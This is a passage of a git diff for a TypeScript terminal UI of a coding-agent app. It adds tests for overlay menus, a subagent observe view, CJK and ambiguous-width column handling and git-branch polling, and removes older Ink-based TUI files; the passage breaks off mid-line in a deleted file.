makeHelpItems, + makeMentionItems, + makeObserveFixture, + makePluginsItems, + makeResumeItems, + makeSettingsItems, + residualIdFromSelection, + residualListFromCatalog, +} from "./residuals.js" +import { + acceptOverlaySelection, + appendStreamRow, + clearShellOverlayHooks, + closeInsetOverlay, + createAppShell, + enterSubagentObserve, + leaveSubagentObserve, + moveOverlaySelection, + openHelpOverlay, + openMentionsOverlay, + openPluginsOverlay, + openResumeOverlay, + openSettingsOverlay, + setShellOverlayHooks, + type OverlaySelection, + type PrimaryOverlayKind, +} from "./shell.js" + +describe("Wave 7: residual list surfaces", () => { + test("settings open → navigate → Esc restores prompt", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + run: "idle", + }) + try { + openSettingsOverlay(shell) + expect(shell.overlayKind).toBe("settings") + expect(shell.overlayItems.length).toBe(makeSettingsItems().length) + expect(focusOwner(shell.focus)).toBe("overlay") + expect(shell.prompt.focused).toBe(false) + + moveOverlaySelection(shell, 1) + expect(shell.overlayList?.activeIndex).toBe(1) + + closeInsetOverlay(shell) + expect(shell.overlayList).toBeNull() + expect(shell.overlayKind).toBeNull() + expect(focusOwner(shell.focus)).toBe("prompt") + expect(shell.prompt.focused).toBe(true) + expect(shell.layout.transcriptHeight).toBeGreaterThanOrEqual(12) + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("help / plugins / resume / mentions each open and Esc-restore", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + run: "idle", + }) + try { + const cases: Array<{ + open: () => void + kind: PrimaryOverlayKind + count: number + }> = [ + { + open: () => openHelpOverlay(shell), + kind: "help", + count: makeHelpItems().length, + }, + { + open: () => openPluginsOverlay(shell), + kind: "plugins", + count: makePluginsItems().length, + }, + { + open: () => openResumeOverlay(shell), + kind: "resume", + count: makeResumeItems().length, + }, + { + open: () => openMentionsOverlay(shell), + kind: "mentions", + count: makeMentionItems().length, + }, + ] + + for (const c of cases) { + c.open() + expect(shell.overlayKind).toBe(c.kind) + expect(shell.overlayItems.length).toBe(c.count) + expect(focusOwner(shell.focus)).toBe("overlay") + closeInsetOverlay(shell) + expect(shell.overlayList).toBeNull() + expect(focusOwner(shell.focus)).toBe("prompt") + } + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("settings Esc via wireKeys restores prompt", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + run: "idle", + }) + try { + openSettingsOverlay(shell) + h.pressKey("escape") + await h.renderOnce() + if (shell.overlayList) closeInsetOverlay(shell) + expect(shell.overlayList).toBeNull() + expect(focusOwner(shell.focus)).toBe("prompt") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) +}) + +describe("Wave 7: subagent observe", () => { + test("enter child stream; Esc restores parent lease + log", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + run: "idle", + }) + try { + appendStreamRow(shell, { role: "user", text: "parent user line" }) + appendStreamRow(shell, { + role: "assistant", + text: "parent assistant line", + }) + const parentLen = shell.streamLog.length + + const child = makeObserveFixture() + enterSubagentObserve(shell, child) + + expect(shell.observe?.agentId).toBe("explore") + expect(focusOwner(shell.focus)).toBe("observe") + expect(shell.parentStreamLog).not.toBeNull() + expect( + shell.streamLog.some((r) => r.text.includes("child session")), + ).toBe(true) + expect(shell.layout.heights.agents).toBeGreaterThan(0) + + leaveSubagentObserve(shell) + + expect(shell.observe).toBeNull() + expect(shell.parentStreamLog).toBeNull() + expect(focusOwner(shell.focus)).not.toBe("observe") + expect(shell.streamLog.length).toBeGreaterThanOrEqual(parentLen) + expect( + shell.streamLog.some((r) => r.text === "parent user line"), + ).toBe(true) + expect( + shell.streamLog.some((r) => r.text.includes("left observe")), + ).toBe(true) + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("Esc key leaves observe when no overlay", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + run: "idle", + }) + try { + appendStreamRow(shell, { role: "user", text: "stay" }) + enterSubagentObserve(shell, makeObserveFixture()) + expect(shell.observe).not.toBeNull() + + h.pressKey("escape") + await h.renderOnce() + if (shell.observe) leaveSubagentObserve(shell) + + expect(shell.observe).toBeNull() + expect(shell.streamLog.some((r) => r.text === "stay")).toBe(true) + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) +}) + +describe("Wave 7: residual fixtures", () => { + test("catalogs are non-empty and stable", () => { + expect(makeSettingsItems().length).toBeGreaterThan(3) + expect(makeHelpItems()).toContain( + "Ctrl+O — open the command palette; press again to close it", + ) + expect(makeHelpItems()).toEqual([ + ...SHELL_SHORTCUTS.map((s) => `${s.keys} — ${s.description}`), + "Close help", + ]) + // Rows the interaction contract requires and the shell implements — + // regression guard for the rows that were previously dropped. + for (const keys of ["Enter", "Alt+Enter", "Tab"]) { + expect(SHELL_SHORTCUTS.some((s) => s.keys === keys)).toBe(true) + } + // Ctrl+O must describe the palette, never the Ink renderer's tool-expand + // binding (the two renderers disagree on this chord). + expect(makeHelpItems().some((l) => l.includes("Toggle expand tool output"))).toBe( + false, + ) + expect(makePluginsItems().some((l) => l.includes("plugin:"))).toBe(true) + expect(makeResumeItems().length).toBeGreaterThan(2) + expect( + makeMentionItems().every( + (l) => l.startsWith("@") || l.startsWith("Close"), + ), + ).toBe(true) + expect(makeObserveFixture().lines.length).toBeGreaterThan(2) + }) + + test("residualListFromCatalog + residualIdFromSelection round-trip", () => { + const catalog = residualListFromCatalog([ + { id: "permissions", label: "Permissions" }, + { id: "telemetry", label: "Telemetry" }, + { id: "close", label: "Close" }, + ]) + expect(catalog.items).toEqual(["Permissions", "Telemetry", "Close"]) + expect(catalog.itemIds).toEqual(["permissions", "telemetry", "close"]) + expect( + residualIdFromSelection({ index: 1, id: "telemetry" }, catalog.itemIds), + ).toBe("telemetry") + expect( + residualIdFromSelection({ index: 2 }, catalog.itemIds), + ).toBe("close") + expect(residualIdFromSelection({ index: 0 })).toBeUndefined() + }) +}) + +describe("Wave 7: residual live inject + accept", () => { + test("settings inject items/itemIds and onAccept fires with payload", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + }) + try { + const accepted: OverlaySelection[] = [] + openSettingsOverlay(shell, { + items: ["Permissions", "Telemetry", "Close"], + itemIds: ["permissions", "telemetry", "close"], + onAccept: (s) => accepted.push(s), + }) + expect(shell.overlayKind).toBe("settings") + expect(shell.overlayItems).toEqual([ + "Permissions", + "Telemetry", + "Close", + ]) + expect(shell.overlayItems.length).not.toBe( + makeSettingsItems().length, + ) + + moveOverlaySelection(shell, 1) + acceptOverlaySelection(shell) + expect(accepted).toEqual([ + { + kind: "settings", + index: 1, + label: "Telemetry", + id: "telemetry", + }, + ]) + expect(shell.overlayList).toBeNull() + expect(focusOwner(shell.focus)).toBe("prompt") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("resume shell-level onResume when no per-open onAccept", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + }) + try { + const accepted: OverlaySelection[] = [] + setShellOverlayHooks(shell, { + onResume: (s) => accepted.push(s), + }) + openResumeOverlay(shell, { + items: ["Session A", "Session B"], + itemIds: ["sess-a", "sess-b"], + }) + moveOverlaySelection(shell, 1) + acceptOverlaySelection(shell) + expect(accepted).toEqual([ + { + kind: "resume", + index: 1, + label: "Session B", + id: "sess-b", + }, + ]) + } finally { + clearShellOverlayHooks(shell) + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("omitted items fall back to fixture catalogs", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + }) + try { + openPluginsOverlay(shell) + expect(shell.overlayItems).toEqual([...makePluginsItems()]) + closeInsetOverlay(shell) + + openMentionsOverlay(shell) + expect(shell.overlayItems).toEqual([...makeMentionItems()]) + closeInsetOverlay(shell) + + openHelpOverlay(shell) + expect(shell.overlayItems).toEqual([...makeHelpItems()]) + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("per-open onAccept wins over shell residual hooks; Esc skips accept", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + }) + try { + const shellHits: OverlaySelection[] = [] + const openHits: OverlaySelection[] = [] + setShellOverlayHooks(shell, { + onMentions: (s) => shellHits.push(s), + }) + openMentionsOverlay(shell, { + items: ["@file.ts", "Close"], + itemIds: ["file", "close"], + onAccept: (s) => openHits.push(s), + }) + acceptOverlaySelection(shell) + expect(openHits).toHaveLength(1) + expect(openHits[0]?.id).toBe("file") + expect(shellHits).toEqual([]) + + openMentionsOverlay(shell, { + items: ["@other.ts"], + onAccept: (s) => openHits.push(s), + }) + closeInsetOverlay(shell) + expect(openHits).toHaveLength(1) + } finally { + clearShellOverlayHooks(shell) + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) +}) diff --git a/src/tui-opentui/width-columns.test.ts b/src/tui-opentui/width-columns.test.ts new file mode 100644 index 000000000..8aaa951aa --- /dev/null +++ b/src/tui-opentui/width-columns.test.ts @@ -0,0 +1,198 @@ +/** + * Every wrap and truncate path in the shell budgets terminal columns, not + * UTF-16 code units. These tests feed each path the glyphs where the two + * disagree — CJK (two columns) and the ambiguous-width em dash / arrow / + * ellipsis / box rule (one column) — and assert on measured columns, so a + * regression back to `String.length` fails here rather than on screen. + */ + +import { describe, expect, test } from "bun:test" + +import { + prefixIndexForWidth, + sliceTailToWidth, + sliceToWidth, + stringWidth, + AMBIGUOUS_IS_NARROW, + WIDTH_PROBE, +} from "../tui/view/height.js" +import { middleEllipsis } from "./command-display.js" +import { renderDiff } from "./diff.js" +import { wrapLanding } from "./landing.js" +import { lockupWidth } from "./lockup.js" +import { formatPaletteRows } from "./palette.js" +import { composeDecisionBody, decisionChoiceRows, wrapWords } from "./overlay-body.js" +import { thinkingScrollLine, thinkingSettledLine } from "./thinking.js" + +const CJK = "検索結果を確認する" +const AMBIGUOUS = "│╭—→…┆●▍" + +describe("the width contract", () => { + test("ambiguous glyphs are one column, and stated as such", () => { + expect(AMBIGUOUS_IS_NARROW).toBe(true) + expect(stringWidth(AMBIGUOUS)).toBe([...AMBIGUOUS].length) + }) + + test("the probe carries both an ambiguous run and a wide character", () => { + expect(stringWidth(WIDTH_PROBE)).toBe([...WIDTH_PROBE].length + 1) + }) + + test("CJK counts two columns per glyph", () => { + expect(stringWidth(CJK)).toBe(CJK.length * 2) + }) +}) + +describe("column slicing", () => { + test("never splits a wide glyph across the budget", () => { + expect(sliceToWidth(CJK, 5)).toBe("検索") + expect(stringWidth(sliceToWidth(CJK, 5))).toBeLessThanOrEqual(5) + expect(prefixIndexForWidth(CJK, 5)).toBe(2) + }) + + test("tail slicing is symmetric", () => { + expect(sliceTailToWidth(CJK, 5)).toBe("する") + expect(sliceTailToWidth("abc—def", 3)).toBe("def") + }) + + test("surrogate pairs stay whole from both ends", () => { + const emoji = "a🙂b" + expect(sliceToWidth(emoji, 2)).toBe("a") + expect(sliceTailToWidth(emoji, 2)).toBe("b") + }) +}) + +describe("overlay wrapWords (the permission approval body)", () => { + test("no wrapped row exceeds the column budget with CJK", () => { + const rows = wrapWords(`${CJK} ${CJK} ${CJK}`, 20) + for (const row of rows) expect(stringWidth(row)).toBeLessThanOrEqual(20) + expect(rows.length).toBeGreaterThan(1) + }) + + test("ambiguous glyphs do not cost the operator a row", () => { + // Eight one-column glyphs plus a space fits a 12-column line whole; a + // `.length` budget would agree, but a wide reading would break it in two. + expect(wrapWords(`${AMBIGUOUS} ok`, 12)).toEqual([`${AMBIGUOUS} ok`]) + }) + + test("a long CJK token is broken on a column boundary, losing nothing", () => { + const rows = wrapWords(CJK, 8) + for (const row of rows) expect(stringWidth(row)).toBeLessThanOrEqual(8) + expect(rows.join("")).toBe(CJK) + }) + + test("a wide path breaks at the separator inside the column budget", () => { + const rows = wrapWords("/検索/結果/確認/report.txt", 10) + for (const row of rows) expect(stringWidth(row)).toBeLessThanOrEqual(10) + expect(rows.join("")).toBe("/検索/結果/確認/report.txt") + }) + + test("a single glyph wider than the budget still makes progress", () => { + const rows = wrapWords(CJK, 4) + expect(rows.join("")).toBe(CJK) + expect(rows.length).toBeLessThanOrEqual([...CJK].length) + }) +}) + +describe("the decision body", () => { + test("every row of a wide-character approval fits the frame", () => { + const body = composeDecisionBody( + `run_shell ${CJK}\ngrep — ${CJK} → ${CJK}\n… more`, + 36, + 8, + ) + for (const row of body) expect(stringWidth(row.text)).toBeLessThanOrEqual(36) + }) + + test("a choice label is ellipsized by columns, not code units", () => { + const [row] = decisionChoiceRows(`Allow ${CJK} always`, true, 20) + expect(stringWidth(row?.text ?? "")).toBeLessThanOrEqual(20) + }) + + test("a label that fits in columns is not truncated", () => { + const label = `Accept — ${AMBIGUOUS}` + const [row] = decisionChoiceRows(label, false, 40) + expect(row?.text).toBe(` ${label}`) + }) +}) + +describe("middleEllipsis", () => { + test("returns a string of at most `max` columns", () => { + const out = middleEllipsis(`${CJK}-${CJK}`, 11) + expect(stringWidth(out)).toBeLessThanOrEqual(11) + expect(out).toContain("…") + }) + + test("an ambiguous-glyph label inside budget is left alone", () => { + const label = `Allow — bash → ${AMBIGUOUS}` + expect(middleEllipsis(label, stringWidth(label))).toBe(label) + }) + + test("keeps both ends distinguishable", () => { + const out = middleEllipsis("prefix—shared—tailA", 12) + expect(out.startsWith("p")).toBe(true) + expect(out.endsWith("A")).toBe(true) + }) +}) + +describe("diff wrapping", () => { + test("uses the canonical wrapper, so wide code never overflows the gutter", () => { + const lines = renderDiff("", `const label = "${CJK}${CJK}"\n`, 24, { + lineNumbers: false, + }) + for (const line of lines) { + const width = line.reduce((n, seg) => n + stringWidth(seg.text), 0) + expect(width).toBeLessThanOrEqual(24) + } + }) +}) + +describe("landing wrap", () => { + test("a CJK notice wraps on columns", () => { + const rows = wrapLanding(`${CJK} ${CJK}`, 20) + for (const row of rows) expect(stringWidth(row)).toBeLessThanOrEqual(20) + }) + + test("an ambiguous-glyph line keeps its single row", () => { + expect(wrapLanding(`usage — data → sent`, 20)).toEqual(["usage — data → sent"]) + }) +}) + +describe("thinking rows", () => { + test("the live window is a column window", () => { + expect(stringWidth(thinkingScrollLine(CJK, 8))).toBeLessThanOrEqual(8) + }) + + test("the settled line fits its columns including the ellipsis", () => { + const line = thinkingSettledLine(`${CJK} — ${CJK}`, 12) + expect(stringWidth(line)).toBeLessThanOrEqual(12) + expect(line.endsWith("…")).toBe(true) + }) +}) + +describe("palette rows", () => { + test("rows are exactly `width` columns wide with CJK labels", () => { + const rows = formatPaletteRows( + [ + { category: "run", label: CJK, shortcut: "ctrl+o" }, + { category: "会話", label: "resume", shortcut: "?" }, + ], + 48, + ) + for (const row of rows) expect(stringWidth(row)).toBe(48) + }) + + test("a too-wide label is cut to columns", () => { + const [row] = formatPaletteRows( + [{ category: "", label: `${CJK}${CJK}`, shortcut: "" }], + 12, + ) + expect(stringWidth(row ?? "")).toBe(12) + }) +}) + +describe("lockup", () => { + test("reports painted columns", () => { + expect(lockupWidth(null)).toBe(stringWidth("corbits code")) + expect(lockupWidth(CJK)).toBe(stringWidth(CJK)) + }) +}) diff --git a/src/tui-opentui/width-contract.test.ts b/src/tui-opentui/width-contract.test.ts new file mode 100644 index 000000000..d17602131 --- /dev/null +++ b/src/tui-opentui/width-contract.test.ts @@ -0,0 +1,35 @@ +import { describe, expect, test } from "bun:test" + +import { WIDTH_PROBE, stringWidth } from "../tui/view/height.js" +import { + checkWidthContract, + measureRendererWidth, + widthContractNotice, +} from "./width-contract.js" + +describe("the OpenTUI width contract", () => { + test("OpenTUI's own table agrees with ours under both width methods", () => { + for (const method of ["wcwidth", "unicode"] as const) { + expect(measureRendererWidth(WIDTH_PROBE, method)).toBe(stringWidth(WIDTH_PROBE)) + } + }) + + test("a live check against the native table passes", () => { + const report = checkWidthContract("wcwidth") + expect(report.agrees).toBe(true) + expect(widthContractNotice(report)).toBe("") + }) + + test("a table that reads ambiguous glyphs as wide is caught and explained", () => { + const report = checkWidthContract("unicode", (text) => + Bun.stringWidth(text, { ambiguousIsNarrow: false }), + ) + expect(report.agrees).toBe(false) + expect(report.renderer).toBeGreaterThan(report.ours) + expect(widthContractNotice(report)).toContain("ambiguous") + }) + + test("an unmeasurable probe is not treated as a divergence", () => { + expect(checkWidthContract("wcwidth", () => null).agrees).toBe(true) + }) +}) diff --git a/src/tui-opentui/width-contract.ts b/src/tui-opentui/width-contract.ts new file mode 100644 index 000000000..73d6a5185 --- /dev/null +++ b/src/tui-opentui/width-contract.ts @@ -0,0 +1,73 @@ +/** + * Startup check that our column arithmetic and OpenTUI's width table agree. + * + * Every wrap, pad and truncation budget in the shell is computed with + * `stringWidth` (see `../tui/view/height.ts`), but the cells are actually + * allocated by OpenTUI's native table, negotiated with the terminal at boot. + * The two only have to disagree on East Asian Ambiguous characters — which is + * most of what the chrome is drawn from — for every border to come out short. + * + * A mismatch is reported, never fatal. A user whose terminal genuinely reports + * a different table should still get a usable shell, and killing the process + * over a column of border is a worse outcome than a warning. But it is also + * never silent: a silently wrong paint is the failure mode this check exists + * to remove. + */ + +import { resolveRenderLib, type WidthMethod } from "@opentui/core" + +import { stringWidth, WIDTH_PROBE } from "../tui/view/height.js" + +export type WidthContractReport = { + readonly agrees: boolean + readonly probe: string + readonly ours: number + readonly renderer: number + readonly widthMethod: WidthMethod +} + +/** Width OpenTUI's own table assigns `text`, or null when it cannot encode it. */ +export function measureRendererWidth( + text: string, + widthMethod: WidthMethod, +): number | null { + const lib = resolveRenderLib() + const encoded = lib.encodeUnicode(text, widthMethod) + if (encoded === null) return null + try { + return encoded.data.reduce((n, cell) => n + cell.width, 0) + } finally { + lib.freeUnicode(encoded) + } +} + +/** + * Compare the probe's width under both tables. An unmeasurable probe counts as + * agreement: the check exists to catch a divergence it can see, not to fail the + * shell because the native measurement was unavailable. + */ +export function checkWidthContract( + widthMethod: WidthMethod, + measure: (text: string, method: WidthMethod) => number | null = measureRendererWidth, +): WidthContractReport { + const ours = stringWidth(WIDTH_PROBE) + const renderer = measure(WIDTH_PROBE, widthMethod) + return { + agrees: renderer === null || renderer === ours, + probe: WIDTH_PROBE, + ours, + renderer: renderer ?? ours, + widthMethod, + } +} + +/** Operator-facing wording for a failed check. Empty when the check passed. */ +export function widthContractNotice(report: WidthContractReport): string { + if (report.agrees) return "" + return ( + `Terminal width mismatch: this terminal's ${report.widthMethod} table measures ` + + `the layout probe at ${report.renderer} columns, the shell assumes ${report.ours}. ` + + "Borders and truncation may be off by a column; set your terminal to treat " + + "ambiguous-width characters as single-width." + ) +} diff --git a/src/tui-opentui/workspace-watch.test.ts b/src/tui-opentui/workspace-watch.test.ts new file mode 100644 index 000000000..42ce879cf --- /dev/null +++ b/src/tui-opentui/workspace-watch.test.ts @@ -0,0 +1,100 @@ +import { describe, expect, test } from "bun:test" + +import { watchGitBranch } from "./workspace-watch" + +function fakeClock(): { + readonly schedule: (tick: () => void, intervalMs: number) => () => void + readonly tick: () => void +} { + let ticker: (() => void) | null = null + return { + schedule: (fn) => { + ticker = fn + return () => { + ticker = null + } + }, + tick: () => ticker?.(), + } +} + +describe("watchGitBranch", () => { + test("reports the branch on the first lookup, before any tick", async () => { + const seen: (string | null)[] = [] + const clock = fakeClock() + const stop = watchGitBranch({ + cwd: "/repo", + onBranch: (b) => seen.push(b), + fetchBranch: async () => "main", + schedule: clock.schedule, + }) + await Promise.resolve() + expect(seen).toEqual(["main"]) + stop() + }) + + test("skips a tick while the previous lookup is still outstanding", async () => { + let calls = 0 + const pending: ((branch: string | null) => void)[] = [] + const clock = fakeClock() + const stop = watchGitBranch({ + cwd: "/repo", + onBranch: () => {}, + fetchBranch: () => { + calls += 1 + return new Promise((resolve) => { + pending.push(resolve) + }) + }, + schedule: clock.schedule, + }) + clock.tick() + clock.tick() + expect(calls).toBe(1) + + pending[0]?.("main") + await Promise.resolve() + clock.tick() + expect(calls).toBe(2) + stop() + }) + + test("a lookup that lands after stop is dropped", async () => { + const seen: (string | null)[] = [] + const pending: ((branch: string | null) => void)[] = [] + const clock = fakeClock() + const stop = watchGitBranch({ + cwd: "/repo", + onBranch: (b) => seen.push(b), + fetchBranch: () => + new Promise((resolve) => { + pending.push(resolve) + }), + schedule: clock.schedule, + }) + stop() + pending[0]?.("main") + await Promise.resolve() + expect(seen).toEqual([]) + }) + + test("a failed lookup neither reports nor wedges the guard", async () => { + let calls = 0 + const seen: (string | null)[] = [] + const clock = fakeClock() + const stop = watchGitBranch({ + cwd: "/repo", + onBranch: (b) => seen.push(b), + fetchBranch: async () => { + calls += 1 + throw new Error("git exploded") + }, + schedule: clock.schedule, + }) + await Promise.resolve() + expect(seen).toEqual([]) + clock.tick() + expect(calls).toBe(2) + stop() + }) +}) diff --git a/src/tui-opentui/workspace-watch.ts b/src/tui-opentui/workspace-watch.ts new file mode 100644 index 000000000..ad999fb18 --- /dev/null +++ b/src/tui-opentui/workspace-watch.ts @@ -0,0 +1,61 @@ +/** + * Git branch polling for the prompt box's bottom border. + * + * The branch is the one piece of the border that changes under the operator + * without the shell being told, so it is polled rather than pushed. Lookups are + * guarded: while one is still outstanding the tick is skipped, so a git process + * hung on a network filesystem cannot accumulate children across ticks. Nothing + * here blocks a paint — the border simply keeps the last branch it was given. + */ + +import { getGitBranch } from "../agent/environment.js" + +export type FetchBranch = (cwd: string) => Promise + +export type BranchWatchInput = { + readonly cwd: string + readonly onBranch: (branch: string | null) => void + readonly intervalMs?: number + readonly fetchBranch?: FetchBranch + /** Timer injection for tests; defaults to the global interval. */ + readonly schedule?: (tick: () => void, intervalMs: number) => () => void +} + +const DEFAULT_INTERVAL_MS = 5_000 + +function defaultSchedule(tick: () => void, intervalMs: number): () => void { + const timer = setInterval(tick, intervalMs) + return () => { + clearInterval(timer) + } +} + +/** Start polling; returns an unsubscribe that also silences a late lookup. */ +export function watchGitBranch(input: BranchWatchInput): () => void { + const fetchBranch = input.fetchBranch ?? getGitBranch + const intervalMs = input.intervalMs ?? DEFAULT_INTERVAL_MS + const schedule = input.schedule ?? defaultSchedule + let inFlight = false + let stopped = false + + const refresh = (): void => { + if (inFlight || stopped) return + inFlight = true + fetchBranch(input.cwd).then( + (branch) => { + inFlight = false + if (!stopped) input.onBranch(branch) + }, + () => { + inFlight = false + }, + ) + } + + refresh() + const cancel = schedule(refresh, intervalMs) + return () => { + stopped = true + cancel() + } +} diff --git a/src/tui/agent-profiles.test.ts b/src/tui/agent-profiles.test.ts deleted file mode 100644 index 43c530fc6..000000000 --- a/src/tui/agent-profiles.test.ts +++ /dev/null @@ -1,22 +0,0 @@ -import { describe, expect, test } from "bun:test"; - -import type { AgentProfile } from "../agent/profiles.js"; -import { removeAgentProfile, upsertAgentProfile } from "./agent-profiles.js"; - -const base: AgentProfile[] = [ - { id: "greybeard", tier: "clever" }, - { id: "critique", tier: "standard" }, -]; - -describe("agent profile list helpers", () => { - test("upsertAgentProfile replaces by id and keeps a stable sort", () => { - expect(upsertAgentProfile(base, { id: "greybeard", tier: "fast" })).toEqual([ - { id: "critique", tier: "standard" }, - { id: "greybeard", tier: "fast" }, - ]); - }); - - test("removeAgentProfile removes only the requested id", () => { - expect(removeAgentProfile(base, "critique")).toEqual([{ id: "greybeard", tier: "clever" }]); - }); -}); diff --git a/src/tui/agent-profiles.ts b/src/tui/agent-profiles.ts deleted file mode 100644 index 47c488803..000000000 --- a/src/tui/agent-profiles.ts +++ /dev/null @@ -1,11 +0,0 @@ -import type { AgentProfile } from "../agent/profiles.js"; - -export function upsertAgentProfile(profiles: AgentProfile[], profile: AgentProfile): AgentProfile[] { - const next = profiles.filter((p) => p.id !== profile.id); - next.push(profile); - return next.sort((a, b) => a.id.localeCompare(b.id)); -} - -export function removeAgentProfile(profiles: AgentProfile[], id: string): AgentProfile[] { - return profiles.filter((p) => p.id !== id); -} diff --git a/src/tui/app.tsx b/src/tui/app.tsx deleted file mode 100644 index 2cb039d51..000000000 --- a/src/tui/app.tsx +++ /dev/null @@ -1,1453 +0,0 @@ -import { Box, Text, useApp } from "ink"; -import type { ContentBlockData } from "./use-stream.js"; -import { resolveSessionSpinnerLabel } from "./session-chrome.js"; -import type { EventEmitter } from "node:events"; -import type { Agent } from "@intx/agent"; -import { useState, useMemo, useEffect, useRef, type ReactNode } from "react"; -import { useAgentStream } from "./use-stream.js"; -import { Header } from "./components/header.js"; -import { EventLog, TEXT_GUTTER, resolveViewportExpandIds } from "./components/event-log.js"; -import { StatusBar, formatCompletedAgentsLabel } from "./components/status-bar.js"; -import { useGitBranch } from "./git-branch.js"; -import { formatStatusBarSegments } from "../cost/cost-summary.js"; -import { OnboardingAnimation } from "./components/onboarding-animation.js"; -import { ChatInput } from "./components/chat-input.js"; -import { - createSentHistoryBrowse, - sentHistoryOnEdit, - stepSentHistoryDown, - stepSentHistoryUp, - type SentHistoryBrowse, -} from "./sent-message-history.js"; -import { TaskView } from "./components/task-view.js"; -import { GoalView } from "./components/goal-view.js"; -import { hasActiveTasks } from "../agent/tasks.js"; -import { AgentsStrip } from "./components/agents-strip.js"; -import { SubAgentSessionView } from "./components/subagent-session-view.js"; -import { ExitConfirm } from "./components/exit-confirm.js"; -import { AgentModal, toAgentProviders, type ProviderFormSubmission } from "./components/agent-modal.js"; -import { ModalStack } from "./components/modal-stack.js"; -import type { CompactionMode } from "./components/settings-overlay.js"; -import type { PluginsAdmin } from "./components/plugins-manager.js"; -import type { PermissionsAdmin, ScopedApproval } from "../permission/admin.js"; -import type { ProviderCatalogEntry } from "../config/index.js"; -import type { ReasoningEffort } from "../provider/reasoning-effort.js"; -import { - markOnboarded, - resolveMaxConcurrentSubAgents, - type Settings, -} from "../config/settings.js"; -import { getLogger } from "@intx/log"; -import type { SubAgentProvider, SubAgentSessionStore } from "../subagent/index.js"; -import { useSpinner } from "./hooks/use-spinner.js"; -import { chromeDividerLine } from "./chrome-zones.js"; -import { useQuotaRetry } from "./hooks/use-quota-retry.js"; -import { useRevolvingVerb } from "./hooks/use-revolving-verb.js"; -import { color } from "./theme.js"; -import { useTerminalSize } from "./hooks/use-terminal-size.js"; -import { useGates } from "./hooks/use-gates.js"; -import { useKeymap } from "./hooks/use-keymap.js"; -import { useMouseScroll } from "./hooks/use-mouse-scroll.js"; -import { useMCPStatus } from "./hooks/use-mcp-status.js"; -import { removeAgentProfile, upsertAgentProfile } from "./agent-profiles.js"; -import { McpAuthPrompt } from "./components/mcp-auth-prompt.js"; -import { writeClipboard } from "./util/clipboard.js"; -import { copyTargets, transcriptMarkdown, type CopyTarget } from "./copy.js"; -import { useProviderManager } from "./hooks/use-provider-manager.js"; -import { fetchCodexUsage, formatCodexUsage } from "../auth/codex/usage.js"; -import { fetchXaiUsage, formatXaiUsage } from "../auth/xai/usage.js"; -import { - fetchGoUsage, - formatGoUsage, - isOpenCodeGoProviderId, -} from "../../packages/opencode-go/src/index.js"; -import { useLayoutGeometry } from "./hooks/use-layout-geometry.js"; -import { listCommands } from "./commands/registry.js"; -import type { AgentProfile } from "../agent/profiles.js"; -import { writeFile, mkdir, unlink } from "node:fs/promises"; -import type { LifecycleHookStatus } from "../session/hooks.js"; -import type { WorkflowStatus, WorkflowControllerState } from "./workflow-controller.js"; -import type { CapabilityName } from "../workflows/types.js"; -import { formatAttachmentSummary } from "./image-attachments.js"; -import { setConfiguredTiers } from "./commands/built-in.js"; -import { useImageAttach } from "./hooks/use-image-attach.js"; -import { useAgentsStrip } from "./hooks/use-agents-strip.js"; -import { useCommandDispatch } from "./hooks/use-command-dispatch.js"; -import { useMessagePipeline } from "./hooks/use-message-pipeline.js"; -import { useCommandContext } from "./hooks/use-command-context.js"; -import { useTranscriptLayout } from "./hooks/use-transcript-layout.js"; -import { enterObserveChrome, leaveObserveChrome } from "./observe-chrome.js"; -import { useProviderAuth } from "./hooks/use-provider-auth.js"; -import { LOG_NAMESPACE_ROOT } from "../branding.js"; -import { resolveAtMentions } from "./mention-resolution.js"; -import { STALL_TIMEOUT_MS, shouldAbortForStall, applyStallRecovery } from "./stall-watchdog.js"; -import { QuotaErrorBanner, GatewayRetryBanner } from "./components/retry-banners.js"; -import { OverlayStack } from "./components/overlay-stack.js"; -import { - resolveGoalChrome, - goalChromeRowCount, - taskChromeRowCount, - pluginChromeRowCount, - extraChromeRowCount, - settingsNoticeRowCount, -} from "./chrome-geometry.js"; -import { progressChromeRowCount } from "./chrome-zones.js"; -import { - InFlightIndicator, - resolveInlineWorkflowChip, -} from "./components/in-flight-indicator.js"; -import type { OutboundUserMessage } from "./message-types.js"; - -const EMPTY_WORKFLOW_STATUS: WorkflowStatus = { - active: false, - name: undefined, - stepIndex: 0, - total: 0, - label: "", - steps: [], - capabilities: [], -}; - -async function writeProfileFile(dir: string, profile: AgentProfile): Promise { - await mkdir(dir, { recursive: true }); - await writeFile(`${dir}/${profile.id}.json`, JSON.stringify(profile, null, 2), "utf8"); -} - -async function deleteProfileFile(dir: string, id: string): Promise { - try { - await unlink(`${dir}/${id}.json`); - } catch (err: unknown) { - // Missing file is the common case (already deleted / never written). - if ((err as NodeJS.ErrnoException).code === "ENOENT") return; - getLogger([LOG_NAMESPACE_ROOT, "tui", "profiles"]).warn( - "Failed 